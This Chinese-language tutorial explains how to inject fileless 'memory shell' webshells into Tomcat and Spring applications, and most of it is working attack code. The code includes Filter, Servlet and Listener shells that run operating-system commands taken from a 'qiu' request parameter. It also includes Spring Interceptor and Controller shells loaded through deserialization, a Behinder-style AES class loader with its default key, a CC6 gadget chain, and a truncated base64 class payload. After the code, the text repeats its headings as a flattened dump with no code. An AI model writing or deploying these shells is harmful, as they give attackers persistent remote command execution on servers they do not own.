内存马即学即用
字数 1306 2025-08-19 12:42:00

Tomcat与Spring内存马技术详解

一、Tomcat三种内存马技术

1. Filter型内存马

Tomcat Filter注册流程

  • FilterDefs:存放FilterDef的数组,存储过滤器名、过滤器实例、作用URL等基本信息
  • FilterConfigs:存放filterConfig的数组,主要存放FilterDef和Filter对象等信息
  • FilterMaps:存放FilterMap的数组,存放FilterName和对应的URLPattern
  • FilterChain:过滤器链,doFilter方法能依次调用链上的Filter
  • WebXml:存放web.xml中内容的类
  • StandardContext:Context接口的标准实现类,代表一个Web应用

注入流程

  1. 创建恶意Filter
  2. 利用FilterDef对Filter进行封装
  3. 将FilterDef添加到FilterDefs和FilterConfig
  4. 创建FilterMap,将Filter和urlpattern相对应,存放到filterMaps中
  5. 通常放在最前面确保优先触发

关键代码实现

<%
    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
    // 获取filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    
    // 创建恶意filter
    Filter filter = new Filter() {
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest request1 = (HttpServletRequest) servletRequest;
            if (request1.getParameter("qiu") != null) {
                byte[] bytes = new byte[1024];
                Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }
    };
    
    // 配置FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);
    
    // 配置FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    
    // 创建FilterConfig
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    filterConfigs.put(name, filterConfig);
%>

2. Servlet型内存马

注入流程

  1. 创建恶意Servlet
  2. 用Wrapper对其进行封装
  3. 添加封装后的恶意Wrapper到StandardContext的children中
  4. 添加ServletMapping将访问的URL和Servlet进行绑定
  5. 在servletMappings中添加URL路径与name的映射

关键代码实现

<%
    // 创建恶意Servlet
    class QiuServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            if (req.getParameter("qiu") != null) {
                byte[] bytes = new byte[1024];
                Process process = Runtime.getRuntime().exec(req.getParameter("qiu"));
                int len = process.getInputStream().read(bytes);
                resp.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }
        }
    }

    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
    // 用Wrapper封装Servlet
    QiuServlet qiuServlet = new QiuServlet();
    org.apache.catalina.Wrapper qiuWrapper = standardContext.createWrapper();
    qiuWrapper.setName(name);
    qiuWrapper.setLoadOnStartup(1);
    qiuWrapper.setServlet(qiuServlet);
    qiuWrapper.setServletClass(qiuServlet.getClass().getName());
    
    // 添加到StandardContext
    standardContext.addChild(qiuWrapper);
    standardContext.addServletMappingDecoded("/Qiu", name);
%>

3. Listener型内存马

Listener类型

  • ServletContextListener:监听整个Servlet上下文(创建、销毁)
  • ServletContextAttributeListener:监听Servlet上下文属性变化
  • ServletRequestListener:监听Request请求(创建、销毁)
  • ServletRequestAttributeListener:监听Request属性变化
  • HttpSessionListener:监听Session整体状态
  • HttpSessionAttributeListener:监听Session属性变化

注入流程

  1. 创建恶意listener
  2. 将恶意listener添加到applicationEventListener中

关键代码实现

<%
    // 创建恶意listener
    class QiuListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("qiu") != null) {
                InputStream in = null;
                boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
                try {
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("qiu")} : new String[]{"cmd.exe", "/c", req.getParameter("qiu")};
                    in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner scanner = new Scanner(in).useDelimiter("\\A");
                    String out = scanner.hasNext() ? scanner.next() : "";
                    Field requestFiled = req.getClass().getDeclaredField("request");
                    requestFiled.setAccessible(true);
                    Request request = (Request) requestFiled.get(req);
                    request.getResponse().getWriter().write(out);
                } catch (Exception e) {}
            }
        }
    }

    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
    // 添加listener
    QiuListener qiuListener = new QiuListener();
    standardContext.addApplicationEventListener(qiuListener);
%>

二、Spring内存马结合反序列化利用

1. Interceptor内存马利用

实现原理

将自定义的Interceptor类加入到RequestMappingHandlerMapping类的adaptedInterceptors属性中注册拦截器

关键代码

public class InterMemShell extends AbstractTranslet {
    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
                .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            
            AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);
            
            // 加载恶意拦截器类
            String b64 = "base64 class";
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            
            // 添加拦截器
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

恶意拦截器类

public class magicInterceptor extends HandlerInterceptorAdapter{
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("qiu");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
                e.printStackTrace();
            }
            return false;
        }
        return true;
    }
}

2. Controller内存马利用

冰蝎逻辑马子

public class magicController {
    public void shell() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        HttpSession session = request.getSession();
        
        HashMap pageContext = new HashMap();
        pageContext.put("request",request);
        pageContext.put("response",response);
        pageContext.put("session",session);
        
        try {
            if (request.getMethod().equals("POST")) {
                String k="e45e329feb5d925b"; // 默认连接密码rebeyond的MD5前16位
                session.putValue("u",k);
                Cipher c=Cipher.getInstance("AES");
                c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

注入恶意controller

public class ConMemShell extends AbstractTranslet {
    static {
        try {
            String className = "magicController";
            String b64 = "b64";
            byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(b64);
            java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
            m.setAccessible(true);
            m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{className, d, 0, d.length});
            
            WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
                .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            
            PatternsRequestCondition url = new PatternsRequestCondition("/qiu");
            RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
            RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
            Method mm = Class.forName(className).getMethod("shell");
            rs.registerMapping(info, Class.forName(className).newInstance(), mm);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

三、实战利用技巧

1. 绕过JDK高版本限制

在jdk8u71之后,AnnotationInvocationHandler中的memberValues被替换为了linkedhashmap,可以使用CC6改造链:

public class CC6V2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
        setFieldValue(templates, "_name", "qiuqiu");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, templates);
        Map expMap = new HashMap();
        expMap.put(tme, "qiu");
        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");
    }
}

2. Spring拦截器内存马完整实现

public class SpringInterceptorMemShell extends AbstractTranslet {
    static String b64 = "yv66vgAAADQBSAoAZQCFCACGCQBkAIcIAIgJAGQAiQgAigkAZACLCgBkAIwJAI0AjggAjwoAkACRCACSCwCTAJQIAJUKABMAlgoAEwCXCQCYAJkIAJoHAJsIAJwIAJ0IAJ4IAJ8HAKAKAKEAogoAoQCjCgCkAKUKABgApggApwoAGACoCgAYAKkLAKoAqwoArACRCwCTAK0LAJMArggArwgAsAsAkwCxBwCyCgAnAIUIALMKACcAtAgAtQgAtggAtwsAuAC5CAC6CgC7ALwHAL0HAL4KADIAhQsAuAC/CgAyAMAIAMEKADIAwgoAMgDDCgATAMQKADEAxQoAuwDGBwDHCgA8AIULAJMAyAoAyQDKCgA8AMsKALsAzAgAzQoARQDOCADPBwDQBwDRCQDSANMKAEUA1AoA1QDWCgBMANcKAEUA2AcA2QoA0gDaCgDVANsKAEUA3AoATACWCADdBwDeCgBSAN8KAOAA4QoA4ADiCADjCgBbAOQJAGQA5QcA5ggA5wcA6AcA6QoAXADfBwDqCgBeAN8HAOsKAGAA3wcA7AoAYgDfBwDtBwDuAQASbXlDbGFzc0xvYWRlckNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABBiYXNpY0NtZFNoZWxsUHdkAQASTGphdmEvbGFuZy9TdHJpbmc7AQATYmVoaW5kZXJTaGVsbEhlYWRlcgEAEGJlaGluZGVyU2hlbGxQd2QBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAJsHAO8HAPAHAN4BAApFeGNlcHRpb25zAQAKaW5pdGlhbGl6ZQcA7QcA6AcA5gcA8QcA6QcA6gcA6wcA7AEAClNvdXJjZUZpbGUBAB9EeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZS5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAGwAbQEABHBhc3MMAGgAaQEADFgtT3B0aW9ucy1BaQwAagBpAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAawBpDAB4AG0HAPIMAPMA9AEAIlsrXSBEeW5hbWljIEludGVyY2VwdG9yIHNheXMgaGVsbG8HAPUMAPYA9wEABHR5cGUHAPgMAPkA+gEABWJhc2ljDAD7APwMAP0A/gcA/wwBAABpAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAANjbWQBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEBDAECAQMMAQQBBQcBBgwBBwEIDABsAQkBAAJcQQwBCgELDAEMAQ0HAQ4MAQ8BEAcBEQwBEgD6DAETAQ0BAARQT1NUAQAGUWl1UUl1DAEUARUBABFqYXZhL3V0aWwvSGFzaE1hcAEAB3JlcXVlc3QMARYBFwEACHJlc3BvbnNlAQAHc2Vzc2lvbgEAAXUHARgMARkBGgEAA0FFUwcA7wwBGwEcAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEdAR4MAR8BIAEAAAwBHwEhDAEiAQ0MASMBJAwAbAElDAEmAScBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEoASkHASoMASsBDQwBLAEtDAEuAS8BABVqYXZhLmxhbmcuQ2xhc3NMb2FkZXIMATABMQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IHATIMATMAZwwBNAE1BwDxDAE2ATcMATgBOQwBOgE7AQAQamF2YS9sYW5nL09iamVjdAwBPAE9DAE+AT8MAUABQQEAB1FpdVlZRFMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFCAG0HAUMMAUQBRQwBRgE7AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAFHATEMAGYAZwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAaRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQERamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc
Tomcat与Spring内存马技术详解 一、Tomcat三种内存马技术 1. Filter型内存马 Tomcat Filter注册流程 FilterDefs :存放FilterDef的数组,存储过滤器名、过滤器实例、作用URL等基本信息 FilterConfigs :存放filterConfig的数组,主要存放FilterDef和Filter对象等信息 FilterMaps :存放FilterMap的数组,存放FilterName和对应的URLPattern FilterChain :过滤器链,doFilter方法能依次调用链上的Filter WebXml :存放web.xml中内容的类 StandardContext :Context接口的标准实现类,代表一个Web应用 注入流程 创建恶意Filter 利用FilterDef对Filter进行封装 将FilterDef添加到FilterDefs和FilterConfig 创建FilterMap,将Filter和urlpattern相对应,存放到filterMaps中 通常放在最前面确保优先触发 关键代码实现 2. Servlet型内存马 注入流程 创建恶意Servlet 用Wrapper对其进行封装 添加封装后的恶意Wrapper到StandardContext的children中 添加ServletMapping将访问的URL和Servlet进行绑定 在servletMappings中添加URL路径与name的映射 关键代码实现 3. Listener型内存马 Listener类型 ServletContextListener:监听整个Servlet上下文(创建、销毁) ServletContextAttributeListener:监听Servlet上下文属性变化 ServletRequestListener:监听Request请求(创建、销毁) ServletRequestAttributeListener:监听Request属性变化 HttpSessionListener:监听Session整体状态 HttpSessionAttributeListener:监听Session属性变化 注入流程 创建恶意listener 将恶意listener添加到applicationEventListener中 关键代码实现 二、Spring内存马结合反序列化利用 1. Interceptor内存马利用 实现原理 将自定义的Interceptor类加入到RequestMappingHandlerMapping类的adaptedInterceptors属性中注册拦截器 关键代码 恶意拦截器类 2. Controller内存马利用 冰蝎逻辑马子 注入恶意controller 三、实战利用技巧 1. 绕过JDK高版本限制 在jdk8u71之后,AnnotationInvocationHandler中的memberValues被替换为了linkedhashmap,可以使用CC6改造链: 2. Spring拦截器内存马完整实现